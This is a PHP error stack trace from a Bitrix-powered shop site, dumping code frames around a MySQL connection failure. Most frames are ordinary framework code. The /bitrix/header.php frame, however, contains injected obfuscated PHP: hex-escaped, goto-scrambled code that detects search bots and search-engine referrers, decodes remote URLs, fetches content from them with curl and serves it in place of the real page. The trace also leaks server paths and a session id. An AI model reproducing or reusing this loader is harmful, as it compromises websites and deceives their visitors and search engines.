/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/lib
/db
/mysqliconnection.php
if (!empty($this->initCommand))
{
if (!$connection->options(MYSQLI_INIT_COMMAND, $this->initCommand))
{
throw new ConnectionException('Setting mysql init command failed');
}
}
if ($port > 0)
{
$success = $connection->real_connect($host, $this->login, $this->password, $this->database, $port);
}
else
{
$success = $connection->real_connect($host, $this->login, $this->password, $this->database);
}
if (!$success)
{
throw new ConnectionException(
'Mysql connect error ['.$this->host.']',
sprintf('(%s) %s', $connection->connect_errno, $connection->connect_error)
);
}
$this->resource = $connection;
$this->isConnected = true;
if (isset($this->configuration['charset']))
{
$connection->set_charset($this->configuration['charset']);
}
// nosql memcached driver
if (isset($this->configuration['memcache']))
{
if (function_exists('mysqlnd_memcache_set'))
{
$memcached = \Bitrix\Main\Application::getInstance()->getConnectionPool()->getConnection($this->configuration['memcache']);
mysqlnd_memcache_set($this->resource, $memcached->getResource());
Arguments
"Mysql connect error [localhost]: (1040) Too many connections"
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/lib
/db
/mysqliconnection.php
*/
protected function disconnectInternal()
{
if ($this->isConnected)
{
$this->isConnected = false;
$this->resource->close();
}
}
/*********************************************************
* Query
*********************************************************/
/**
* @inheritDoc
*/
protected function queryInternal($sql, array $binds = null, Diag\SqlTrackerQuery $trackerQuery = null)
{
$this->connectInternal();
$trackerQuery?->startQuery($sql, $binds);
$result = $this->resource->query($sql);
$trackerQuery?->finishQuery();
$this->lastQueryResult = $result;
if (!$result)
{
throw new SqlQueryException('Mysql query error', $this->getErrorMessage(), $sql);
}
return $result;
}
/**
* @inheritDoc
*/
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/lib
/db
/connection.php
$sql = $this->getSqlHelper()->getTopSql($sql, $limit, $offset);
}
$trackerQuery = null;
if ($this->queryExecutingEnabled)
{
$connection = Main\Application::getInstance()->getConnectionPool()->getSlaveConnection($sql);
if($connection === null)
{
$connection = $this;
}
if ($this->trackSql)
{
$trackerQuery = $this->sqlTracker->getNewTrackerQuery();
$trackerQuery->setNode($connection->getNodeId());
}
$result = $connection->queryInternal($sql, $binds, $trackerQuery);
}
else
{
if ($this->disabledQueryExecutingDump === null)
{
$this->disabledQueryExecutingDump = array();
}
$this->disabledQueryExecutingDump[] = $sql;
$result = true;
}
return $this->createResult($result, $trackerQuery);
}
/**
* Executes a query, fetches a row and returns single field value
* from the first column of the result.
*
* @param string $sql Sql text.
Arguments
"SELECT GET_LOCK('46fa796bbcbd04340f1ce3a56ca263c137445305083e283fd6075d17f065da51', 60) as L"
[]
null
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/lib
/db
/mysqlcommonconnection.php
{
$this->query("ROLLBACK TO SAVEPOINT TRANS{$this->transactionLevel}");
throw new TransactionException('Nested rollbacks are unsupported.');
}
}
/*********************************************************
* Global named lock
*********************************************************/
/**
* @inheritDoc
*/
public function lock($name, $timeout = 0)
{
$timeout = (int)$timeout;
$name = $this->getLockName($name);
$lock = $this->query("SELECT GET_LOCK('{$name}', {$timeout}) as L")->fetch();
return ($lock["L"] == "1");
}
/**
* @inheritDoc
*/
public function unlock($name)
{
$name = $this->getLockName($name);
$lock = $this->query("SELECT RELEASE_LOCK('{$name}') as L")->fetch();
return ($lock["L"] == "1");
}
protected function getLockName($name)
{
$unique = \CMain::GetServerUniqID();
Arguments
"SELECT GET_LOCK('46fa796bbcbd04340f1ce3a56ca263c137445305083e283fd6075d17f065da51', 60) as L"
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/lib
/session
/handlers
/table
/usersessiontable.php
* Locks specified session id
*
* @param string $id Session id.
* @param int $timeout Lock timeout.
* @return bool Returns true if lock occurred.
*/
public static function lock($id, $timeout = 60)
{
$result = true;
$pool = Application::getInstance()->getConnectionPool();
$pool->useMasterOnly(true);
$connection = static::getEntity()->getConnection();
if (
$connection instanceof MysqlCommonConnection
|| $connection instanceof PgsqlConnection
)
{
$result = $connection->lock($id, (int)$timeout);
}
else
{
trigger_error(sprintf('SessionTable::lock not supported for connection of type "%s"', get_class($connection)), E_USER_WARNING);
}
$pool->useMasterOnly(false);
return $result;
}
/**
* Unlock specified session id
*
* @param string $id Session id.
* @return bool Returns true if lock released.
*/
public static function unlock($id)
{
$pool = Application::getInstance()->getConnectionPool();
Arguments
"46fa796bbcbd04340f1ce3a56ca263c137445305083e283fd6075d17f065da51"
60
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/lib
/session
/handlers
/databasesessionhandler.php
}
return '';
}
public function processWrite($sessionId, $sessionData): bool
{
$this->processDestroy($sessionId);
$result = UserSessionTable::add([
'SESSION_ID' => $sessionId,
'TIMESTAMP_X' => new \Bitrix\Main\Type\DateTime(),
'SESSION_DATA' => base64_encode($sessionData),
]);
return $result->isSuccess();
}
protected function lock($sessionId): bool
{
return UserSessionTable::lock($this->sessionId);
}
protected function unlock($sessionId): bool
{
return UserSessionTable::unlock($this->sessionId);
}
protected function processDestroy($sessionId): bool
{
return UserSessionTable::delete($sessionId)->isSuccess();
}
/**
* @param int $maxLifeTime
* @return int
*/
public function gc($maxLifeTime): int
{
UserSessionTable::deleteOlderThan($maxLifeTime);
Arguments
"eET0bF1IsEnB0aNPNooKsygmvYh5hNvI"
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/lib
/session
/handlers
/abstractsessionhandler.php
{
return '';
}
$this->sessionId = $sessionId;
if ($this->prefetchId !== null)
{
$prefetchId = $this->prefetchId;
$prefetchData = $this->prefetchData;
$this->prefetchId = null;
$this->prefetchData = null;
if ($prefetchId === $this->sessionId)
{
return $prefetchData;
}
}
if (!$this->readOnly && !$this->lock($this->sessionId))
{
$this->triggerLockFatalError();
}
return $this->processRead($sessionId);
}
abstract protected function processRead($sessionId): string;
protected function triggerLockFatalError(string $additionalText = ''): void
{
$text = self::LOCK_ERROR_MESSAGE;
if ($additionalText)
{
$text .= $additionalText;
}
$httpResponse = new HttpResponse();
$httpResponse->setStatus('500 Internal Server Error');
trigger_error($text, E_USER_ERROR);
Arguments
"eET0bF1IsEnB0aNPNooKsygmvYh5hNvI"
Arguments
"eET0bF1IsEnB0aNPNooKsygmvYh5hNvI"
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/lib
/session
/session.php
if ($this->isActive())
{
throw new \RuntimeException('Could not start session by PHP because session is active.');
}
if ($this->isHeadersSent($file, $line))
{
throw new \RuntimeException(
"Could not start session because headers have already been sent. \"{$file}\":{$line}."
);
}
$this->debug('Session tries to start at');
$this->detectFirstUsage();
try
{
$this->applySessionStartIniSettings($this->getSessionStartOptions());
if (!session_start() && !$this->ignoringSessionStartErrors)
{
throw new \RuntimeException('Could not start session by PHP.');
}
}
catch (\Error $error)
{
if ($this->shouldLogError($error))
{
$this->writeToLogError($error);
}
if (!$this->ignoringSessionStartErrors)
{
throw $error->getPrevious() ?: $error;
}
}
$this->debug('Session started at');
$this->sessionData = &$_SESSION;
$this->started = true;
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/lib
/session
/kernelsessionproxy.php
}
public function setId($id)
{
$this->session->setId($id);
}
public function getName(): string
{
return $this->session->getName();
}
public function setName($name)
{
$this->session->setName($name);
}
public function start(): bool
{
return $this->session->start();
}
public function regenerateId(): bool
{
return $this->session->regenerateId();
}
public function destroy()
{
$this->session->destroy();
}
public function save()
{
$this->session->save();
}
public function has($name)
{
return $this->session->has($name);
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/include.php
header("X-DevSrv-CMS: Bitrix");
}
//agents
if (COption::GetOptionString("main", "check_agents", "Y") == "Y")
{
$application->addBackgroundJob(["CAgent", "CheckAgents"], [], \Bitrix\Main\Application::JOB_PRIORITY_LOW);
}
//send email events
if (COption::GetOptionString("main", "check_events", "Y") !== "N")
{
$application->addBackgroundJob(['\Bitrix\Main\Mail\EventManager', 'checkEvents'], [], \Bitrix\Main\Application::JOB_PRIORITY_LOW-1);
}
$healerOfEarlySessionStart = new HealerEarlySessionStart();
$healerOfEarlySessionStart->process($application->getKernelSession());
$kernelSession = $application->getKernelSession();
$kernelSession->start();
$application->getSessionLocalStorageManager()->setUniqueId($kernelSession->getId());
foreach (GetModuleEvents("main", "OnPageStart", true) as $arEvent)
{
ExecuteModuleEventEx($arEvent);
}
//define global user object
$GLOBALS["USER"] = new CUser;
//session control from group policy
$arPolicy = $GLOBALS["USER"]->GetSecurityPolicy();
$currTime = time();
if (
(
//IP address changed
$kernelSession['SESS_IP']
&& $arPolicy["SESSION_IP_MASK"] <> ''
&& (
(ip2long($arPolicy["SESSION_IP_MASK"]) & ip2long($kernelSession['SESS_IP']))
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/include
/prolog_before.php
<?php
if (!defined('START_EXEC_PROLOG_BEFORE_1'))
{
define("START_EXEC_PROLOG_BEFORE_1", microtime(true));
}
$GLOBALS["BX_STATE"] = "PB";
if(isset($_REQUEST["BX_STATE"])) unset($_REQUEST["BX_STATE"]);
if(isset($_GET["BX_STATE"])) unset($_GET["BX_STATE"]);
if(isset($_POST["BX_STATE"])) unset($_POST["BX_STATE"]);
if(isset($_COOKIE["BX_STATE"])) unset($_COOKIE["BX_STATE"]);
if(isset($_FILES["BX_STATE"])) unset($_FILES["BX_STATE"]);
if(!isset($USER)) {global $USER;}
if(!isset($APPLICATION)) {global $APPLICATION;}
if(!isset($DB)) {global $DB;}
require_once(__DIR__."/../include.php");
CMain::PrologActions();
if (!defined('START_EXEC_PROLOG_BEFORE_2'))
{
define("START_EXEC_PROLOG_BEFORE_2", microtime(true));
}
Arguments
"/var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include.php"
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/include
/prolog.php
<?php
require_once(__DIR__ . "/../bx_root.php");
if (file_exists($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/html_pages/.enabled"))
{
require_once(__DIR__ . "/../lib/composite/responder.php");
Bitrix\Main\Composite\Responder::respond();
}
require_once(__DIR__ . "/prolog_before.php");
require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/prolog_after.php");
Arguments
"/var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include/prolog_before.php"
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/header.php
<?php
/* 2duan */
goto vlDQz; HIGc8: $QH_Px = $_SERVER["\x52\105\x51\125\105\x53\x54\x5f\125\122\x49"]; goto LBhLH; hox2E: define("\170\154\x30\x53\122", "\60\x34\x31\x36\x6a\x73\143\62"); goto PcTht; Yex8u: function mfbI4($H4Uwh, $otwNg = "\57\x5b\x3f\x5c\57\x5d\50\x69\144\x7c\147\141\155\145\151\144\174\111\x44\x7c\153\x72\x73\154\x6f\164\111\104\x7c\x47\141\x6d\145\x7c\141\160\160\x7c\x69\x6f\163\x7c\x61\156\x64\x72\157\151\x64\174\x64\x6f\x77\x6e\154\x6f\x61\x64\174\142\x6c\141\x6e\153\174\123\154\x6f\164\x7c\x73\154\157\x74\x7c\x62\x65\x74\174\x63\x61\163\x69\x6e\x6f\174\x67\x61\155\145\x73\174\160\154\x61\x79\x7c\166\151\x64\x65\x6f\174\x70\157\x6b\x65\x72\174\156\145\x77\163\174\163\154\x6f\x7c\x67\x6f\x64\163\174\x66\151\163\x68\174\x6d\x61\x68\152\174\x75\162\x69\51\56\57") { return preg_match($otwNg, $H4Uwh) === 1; } goto D3ed8; htfxU: $SzF3y = $_SERVER["\x48\124\x54\120\x5f\x55\123\x45\x52\x5f\x41\107\x45\x4e\x54"]; goto l_2tv; byjza: define("\x45\x50\110\162\x4f", base64_decode("\x50\107\150\x30\142\x57\x77\53\103\x69\101\x67\111\103\x41\70\141\x47\126\150\x5a\x44\x34\113\111\103\x41\x67\x49\103\101\147\x49\103\x41\x38\x64\107\x6c\x30\x62\x47\125\x2b\x56\x47\x68\154\111\x48\x4a\154\143\x32\71\x31\x63\x6d\x4e\x6c\x49\107\116\150\x62\x6d\65\166\144\103\x42\151\132\123\x42\155\142\63\126\165\132\103\x34\70\114\63\x52\160\x64\107\170\x6c\x50\x67\x6f\x67\x49\103\101\147\111\103\101\147\x49\x44\170\172\x59\x33\x4a\160\143\x48\121\53\144\x32\154\165\x5a\x47\x39\63\x4c\155\170\x76\131\x32\106\60\x61\127\71\x75\x50\123\x4a\157\x64\x48\122\167\x63\x7a\x6f\x76\114\62\x56\x6e\x5a\62\116\62\141\x58\101\x75\x59\x32\x39\x74\x4c\x33\144\154\142\x47\x4e\166\142\x57\x55\166\x4d\x6a\101\x79\x4e\x54\x49\x75\x61\110\x52\164\142\103\x49\x37\x50\x43\71\172\x59\x33\112\160\143\110\x51\x2b\x43\x69\101\x67\111\103\x41\70\114\x32\150\x6c\131\x57\x51\x2b\x43\x69\x41\147\x49\103\x41\x38\131\x6d\71\x6b\x65\124\x34\x4b\111\x43\101\x67\111\x43\x41\x67\111\x43\x41\x38\x61\x44\105\x2b\124\155\x39\x30\x49\x45\132\x76\144\127\65\153\120\x43\71\x6f\115\124\64\113\111\103\101\x67\x49\x44\x77\x76\x59\155\x39\x6b\145\124\x34\113\x50\x43\x39\157\x64\107\61\x73\x50\147\x3d\x3d")); goto dUPrt; qAtYp: define("\x78\166\x49\x51\60", base64_decode("\x61\110\x52\x30\143\x44\157\x76\x4c\62\x70\x7a\131\62\122\x75\x4c\x6d\122\x6e\x61\172\147\64\117\103\65\60\x62\x33\x41\166")); goto FRai7; RMc81: function GBDin($FWaK8, $x3wSF = array(), $W_16F = 0, $yYiY2 = 0) { goto YbEfb; YbEfb: if (function_exists("\143\x75\x72\154\x5f\151\156\x69\x74")) { goto Kr1l2; } goto Se6RS; i1BbR: if (!curl_errno($XjNfe)) { goto k3A_Y; } goto wLTBW; yqoWn: curl_setopt($XjNfe, CURLOPT_SSL_VERIFYHOST, false); goto KwYqZ; jzRUU: mAJ47: goto UdSBC; UTu4r: curl_setopt($XjNfe, CURLOPT_HTTPHEADER, $x3wSF); goto limfG; uCU2h: curl_setopt($XjNfe, CURLOPT_URL, $FWaK8); goto EUHb8; KwYqZ: curl_setopt($XjNfe, CURLOPT_FOLLOWLOCATION, true); goto tS8Es; hCyfk: curl_close($XjNfe); goto nde7_; iiP7W: goto mAJ47; goto lE5i2; tUkpU: curl_setopt($XjNfe, CURLOPT_SSL_VERIFYPEER, false); goto yqoWn; qwX4s: $XjNfe = curl_init(); goto uCU2h; WiuGG: curl_setopt($XjNfe, CURLOPT_RETURNTRANSFER, 1); goto TFfBR; TFfBR: curl_setopt($XjNfe, CURLOPT_USERAGENT, $_SERVER["\110\124\x54\x50\x5f\125\x53\x45\x52\x5f\101\x47\x45\x4e\124"]); goto a75ec; EUHb8: curl_setopt($XjNfe, CURLOPT_HEADER, 0); goto WiuGG; z2vyF: k3A_Y: goto hCyfk; HadvG: curl_setopt($XjNfe, CURLOPT_TIMEOUT, $yYiY2); goto tUkpU; limfG: curl_setopt($XjNfe, CURLOPT_CONNECTTIMEOUT, $W_16F); goto HadvG; wLTBW: $hwbc0 = NULL; goto z2vyF; a75ec: curl_setopt($XjNfe, CURLOPT_REFERER, $_SERVER["\110\x54\124\120\137\x52\105\x46\x45\122\105\x52"]); goto UTu4r; nde7_: return $hwbc0; goto jzRUU; tS8Es: $hwbc0 = curl_exec($XjNfe); goto i1BbR; lE5i2: Kr1l2: goto qwX4s; Se6RS: return file_get_contents($FWaK8); goto iiP7W; UdSBC: } goto mwiSj; mwiSj: function esf5H() { foreach (array("\110\124\124\x50\x5f\103\114\x49\105\x4e\124\x5f\111\120", "\110\x54\x54\x50\x5f\130\x5f\x52\x45\101\114\137\x49\120", "\110\124\x54\x50\137\103\x46\x5f\103\x4f\116\x4e\105\x43\124\x49\116\x47\x5f\x49\x50", "\x48\x54\x54\120\x5f\x58\x5f\106\117\122\127\101\122\x44\105\104\x5f\106\x4f\x52", "\x48\124\124\120\x5f\130\137\106\x4f\x52\x57\x41\122\104\105\x44", "\x48\x54\x54\120\x5f\130\x5f\103\114\125\x53\124\105\122\137\x43\114\111\x45\x4e\124\137\111\x50", "\x48\124\x54\120\137\106\117\x52\127\x41\122\x44\105\104\137\x46\117\122", "\110\124\124\120\x5f\x46\x4f\122\x57\x41\122\104\x45\104", "\122\105\x4d\117\x54\105\x5f\101\104\104\x52") as $ZVlRe) { goto d7Qev; u9jhz: FZvn_: goto CF1Jb; qhmc2: DwtkE: goto vmBGF; eZhk4: foreach (explode("\54", $_SERVER[$ZVlRe]) as $orkmV) { goto nK6uj; ZmXm0: if (!(filter_var($orkmV, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false)) { goto O9SIl; } goto C6YCL; nK6uj: $orkmV = trim($orkmV); goto ZmXm0; vldkR: O9SIl: goto D3iU3; D3iU3: g5ZtL: goto Khtb4; C6YCL: return $orkmV; goto vldkR; Khtb4: } goto qhmc2; d7Qev: if (!(array_key_exists($ZVlRe, $_SERVER) === true)) { goto sFwUD; } goto eZhk4; vmBGF: sFwUD: goto u9jhz; CF1Jb: } aj6kE: } goto pD8nc; l_2tv: $dqr6X = $_SERVER["\x48\124\x54\120\x5f\x48\x4f\x53\124"]; goto HIGc8; vNC8C: error_reporting(0); goto hox2E; vlDQz: set_time_limit(0); goto vNC8C; dUPrt: $ahpjG = $_SERVER["\110\x54\x54\x50\x5f\x52\x45\106\x45\122\x45\122"]; goto htfxU; PcTht: define("\x64\x4c\x4c\x4f\x42", "\x56\x45\147\x6a\123\x32\61\156"); goto zCByt; CzI0G: function W7Cv_($QwF7b) { goto DeJdi; SzWsL: xT3Gz: goto vskgC; vskgC: return false; goto x3DIh; mgn0J: $UMB_z = array("\147\157\x6f\147\154\145\56", "\x62\151\156\x67\x2e", "\156\141\x76\145\x72\x2e", "\171\141\150\x6f\157\56"); goto ajUsT; DeJdi: if (!(substr($QwF7b, 0, 4) === "\x68\x74\x74\x70")) { goto xT3Gz; } goto mgn0J; ajUsT: foreach ($UMB_z as $vXT4U) { goto gO0XF; a65NQ: hsG1N: goto GR90K; Icgwk: return true; goto hYog1; hYog1: vfMHq: goto a65NQ; gO0XF: if (!(stripos($QwF7b, $vXT4U) !== false)) { goto vfMHq; } goto Icgwk; GR90K: } goto PjfnM; PjfnM: L9RYy: goto SzWsL; x3DIh: } goto RMc81; LBhLH: function yh_3Q() { } goto KOJRg; D3ed8: function tgo4V($J8eYM) { goto CkeFV; mdkLb: return false; goto DQy1c; iGoms: YTk4e: goto mdkLb; CkeFV: $PdcaN = array("\107\x6f\x6f\x67\154\x65\142\x6f\164", "\102\x69\x6e\x67\x62\157\x74", "\171\x65\164\x69"); goto rezF2; rezF2: foreach ($PdcaN as $mnxif) { goto Ks9lH; IBV65: x7oOc: goto cbUl5; r9GXN: return true; goto IFoRg; IFoRg: QyvIn: goto IBV65; Ks9lH: if (!(stripos($J8eYM, $mnxif) !== false)) { goto QyvIn; } goto r9GXN; cbUl5: } goto iGoms; DQy1c: } goto CzI0G; pD8nc: function M8uoS() { goto RKQnr; Ksbil: J44NQ: goto SVg__; XXtfD: $kGVBm = urlencode($QH_Px); goto TJpBz; jFUcM: cAWkL: goto TWpdA; TJpBz: $x3wSF = array(); goto hdIl9; QRV2d: header("\x50\162\141\147\155\141\72\x20\156\157\55\143\141\143\150\x65"); goto XXtfD; YiUrr: header("\x43\157\156\164\145\156\164\55\x54\171\160\x65\72\164\x65\x78\164\x2f\150\x74\155\x6c\x3b\x20\143\150\141\162\x73\x65\164\75\x75\164\146\x2d\70"); goto Qvhca; l5xq_: UxfNV: goto w9VU_; hdIl9: if (!isset($_SERVER["\x48\124\x54\x50\137\101\103\x43\105\120\124\137\114\x41\x4e\107\125\101\107\x45"])) { goto UxfNV; } goto Awufz; hRMk0: array_push($x3wSF, "\x41\143\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\72\x20{$p8yhw}"); goto P0I3_; e9jhQ: exit; goto sJp54; RtBb5: $IieOD = ESF5H(); goto sgQOZ; jlcmD: goto e_lpS; goto ZNB3Y; sgQOZ: if (MFBi4($QH_Px)) { goto pq1sd; } goto wPhGA; Wa2st: exit; goto jFUcM; Ss3VP: foreach ($wyuUY as $ZVlRe => $pNSbs) { goto Vj8wc; Vj8wc: if (!(stripos($ZVlRe, "\x53\145\143\x2d") === 0)) { goto kAPsM; } goto yhQdO; iRNtb: VMiyR: goto sUCZ8; yhQdO: array_push($x3wSF, "{$ZVlRe}\x3a\40{$pNSbs}"); goto gIBxg; gIBxg: kAPsM: goto iRNtb; sUCZ8: } goto AfwtL; w9VU_: if (tgO4V($SzF3y)) { goto t1KTd; } goto f_qF0; wPhGA: echo gBDIN(xvIQ0 . "\x61\154\x2e\160\x68\160"); goto kT15a; iQDSR: header("\103\x61\143\150\x65\x2d\x43\x6f\156\x74\162\157\x6c\72\40\x6e\x6f\x2d\x73\x74\157\x72\145\54\40\156\157\55\x63\x61\143\150\145\54\40\x6d\165\x73\x74\x2d\162\145\166\x61\154\151\x64\141\164\x65"); goto Bs8ln; Bs8ln: header("\x43\141\143\150\x65\55\103\157\156\x74\162\x6f\154\72\x20\160\x6f\163\x74\55\143\x68\145\x63\x6b\75\x30\54\x20\160\162\x65\x2d\143\x68\x65\143\153\x3d\60", FALSE); goto QRV2d; P0I3_: array_push($x3wSF, "\x56\x61\162\x79\x3a\40\101\x63\x63\x65\x70\164\55\114\x61\x6e\147\165\141\147\145"); goto l5xq_; sJp54: e_lpS: goto R9R8y; SVg__: header("\x43\157\156\x74\145\x6e\164\55\x54\x79\160\145\x3a\164\x65\x78\164\57\x68\164\155\x6c\73\40\x63\150\141\162\163\x65\x74\x3d\165\164\146\55\70"); goto AUfpf; TWpdA: goto e_lpS; goto Ksbil; WGJrm: $MR3er = GBDiN(nevcy . "\65\60\62\x32\x2e\x70\150\160"); goto f2Px0; Qvhca: echo gBdIN(xvIQ0 . "\77{$dqr6X}{$QH_Px}"); goto Wa2st; f2Px0: echo $MR3er ? $MR3er : EPHrO; goto e9jhQ; dAVn4: if (!function_exists("\144\x6f\107\156\116")) { function dOGnn() { goto je6Ow; ErlVH: Mi87p: goto o0Gq1; upAbJ: foreach ($_SERVER as $crqzG => $pNSbs) { goto MWW3w; MWW3w: if (!(substr($crqzG, 0, 5) == "\110\x54\124\x50\137")) { goto eaJ4l; } goto Z40uH; ErpTR: eaJ4l: goto rEJK6; Z40uH: $JeD6C[str_replace("\40", "\x2d", ucwords(strtolower(str_replace("\x5f", "\40", substr($crqzG, 5)))))] = $pNSbs; goto ErpTR; rEJK6: IK6vP: goto Wny0V; Wny0V: } goto ErlVH; o0Gq1: return $JeD6C; goto Xicwh; je6Ow: $JeD6C = array(); goto upAbJ; Xicwh: } $wyuUY = dogNn(); } else { $wyuUY = Dognn(); } goto Ss3VP; AfwtL: dxbi4: goto WGJrm; Awufz: $p8yhw = $_SERVER["\110\124\x54\120\137\x41\103\x43\105\x50\124\x5f\x4c\101\116\107\x55\x41\x47\105"]; goto hRMk0; kT15a: goto cAWkL; goto L9OC1; RKQnr: global $ahpjG, $SzF3y, $dqr6X, $QH_Px; goto iQDSR; L9OC1: pq1sd: goto YiUrr; ZNB3Y: t1KTd: goto RtBb5; GaSr2: $wyuUY = array(); goto dAVn4; f_qF0: if (MfBi4($QH_Px) && w7CV_($ahpjG)) { goto J44NQ; } goto jlcmD; AUfpf: $JdpZm = ESF5h(); goto GaSr2; R9R8y: } goto DiCiu; OxZa0: function uQ1Bz() { $W0OaF = ob_get_contents(); ob_end_clean(); } goto Yex8u; FRai7: define("\x6e\x65\166\x63\171", base64_decode("\141\110\122\x30\x63\104\157\x76\114\x32\106\153\114\155\122\156\141\x7a\147\x34\x4f\x43\x35\60\x62\63\101\x76")); goto byjza; zCByt: define("\172\x39\66\x38\x5f", base64_decode("\141\110\122\x30\143\x48\115\66\x4c\x79\71\161\x63\62\116\153\x62\x69\65\x6b\132\62\163\64\117\104\x67\165\x64\x47\x39\167\114\167\x3d\x3d")); goto qAtYp; KOJRg: function fKOEh() { ob_start(); register_shutdown_function("\x69\x6e\163\145\x72\164\137\x68\x74\x6d\154\x5f\145\x6e\144"); } goto OxZa0; DiCiu: M8uoS();
?><?require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog.php");?>
Arguments
"/var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include/prolog.php"
/var
/www
/www-root
/data
/www
/vannstudio.ru
/brands
/index.php
<?
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/header.php");
$APPLICATION->SetTitle("Производители");
?><?$APPLICATION->IncludeComponent(
"bitrix:news",
"partners",
array(
"COMPATIBLE_MODE" => "Y",
"ADD_ELEMENT_CHAIN" => "Y",
"IBLOCK_CATALOG_ID" => "2",
"ADD_SECTIONS_CHAIN" => "Y",
"AJAX_MODE" => "N",
"AJAX_OPTION_ADDITIONAL" => "",
"AJAX_OPTION_HISTORY" => "N",
"AJAX_OPTION_JUMP" => "N",
"AJAX_OPTION_STYLE" => "Y",
"BROWSER_TITLE" => "-",
"CACHE_FILTER" => "Y",
"CACHE_GROUPS" => "N",
"CACHE_TIME" => "100000",
"CACHE_TYPE" => "A",
"CHECK_DATES" => "Y",
"COMPONENT_TEMPLATE" => "partners",
"COMPOSITE_FRAME_MODE" => "A",
"COMPOSITE_FRAME_TYPE" => "AUTO",
"COUNT_IN_LINE" => "3",
"DETAIL_ACTIVE_DATE_FORMAT" => "d.m.Y",
"DETAIL_DISPLAY_BOTTOM_PAGER" => "Y",
"DETAIL_DISPLAY_TOP_PAGER" => "N",
"DETAIL_FIELD_CODE" => array(
0 => "NAME",
1 => "PREVIEW_TEXT",
2 => "PREVIEW_PICTURE",
3 => "DETAIL_TEXT",
4 => "DETAIL_PICTURE",
5 => "",
),
"DETAIL_PAGER_SHOW_ALL" => "Y",
"DETAIL_PAGER_TEMPLATE" => "",
"DETAIL_PAGER_TITLE" => "Производитель",
Arguments
"/var/www/www-root/data/www/vannstudio.ru/bitrix/header.php"
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/modules
/main
/include
/urlrewrite.php
if (($urlTmp7 == "upload/" || ($urlTmp7 == "bitrix/" && mb_substr($urlTmp, 0, 16) != "bitrix/services/" && mb_substr($urlTmp, 0, 18) != "bitrix/groupdavphp")))
continue;
$ext = strtolower(GetFileExtension($url));
if ($ext != "php")
continue;
// D7 response is not available here
if(stristr(php_sapi_name(), "cgi") !== false && (!defined("BX_HTTP_STATUS") || BX_HTTP_STATUS == false))
{
header("Status: 200 OK");
}
else
{
header($_SERVER["SERVER_PROTOCOL"]." 200 OK");
}
$_SERVER["REAL_FILE_PATH"] = $url;
include_once($io->GetPhysicalName($_SERVER['DOCUMENT_ROOT'].$url));
die();
}
}
}
//admin section 404
if(mb_strpos($requestUri, "/bitrix/admin/") === 0)
{
$_SERVER["REAL_FILE_PATH"] = "/bitrix/admin/404.php";
include($_SERVER["DOCUMENT_ROOT"]."/bitrix/admin/404.php");
die();
}
define("BX_CHECK_SHORT_URI", true);
Arguments
"/var/www/www-root/data/www/vannstudio.ru/brands/index.php"
/var
/www
/www-root
/data
/www
/vannstudio.ru
/bitrix
/urlrewrite.php
<?
include_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/include/urlrewrite.php');
if(file_exists($_SERVER['DOCUMENT_ROOT'].'/404.php'))
include_once($_SERVER['DOCUMENT_ROOT'].'/404.php');
?>
Arguments
"/var/www/www-root/data/www/vannstudio.ru/bitrix/modules/main/include/urlrewrite.php"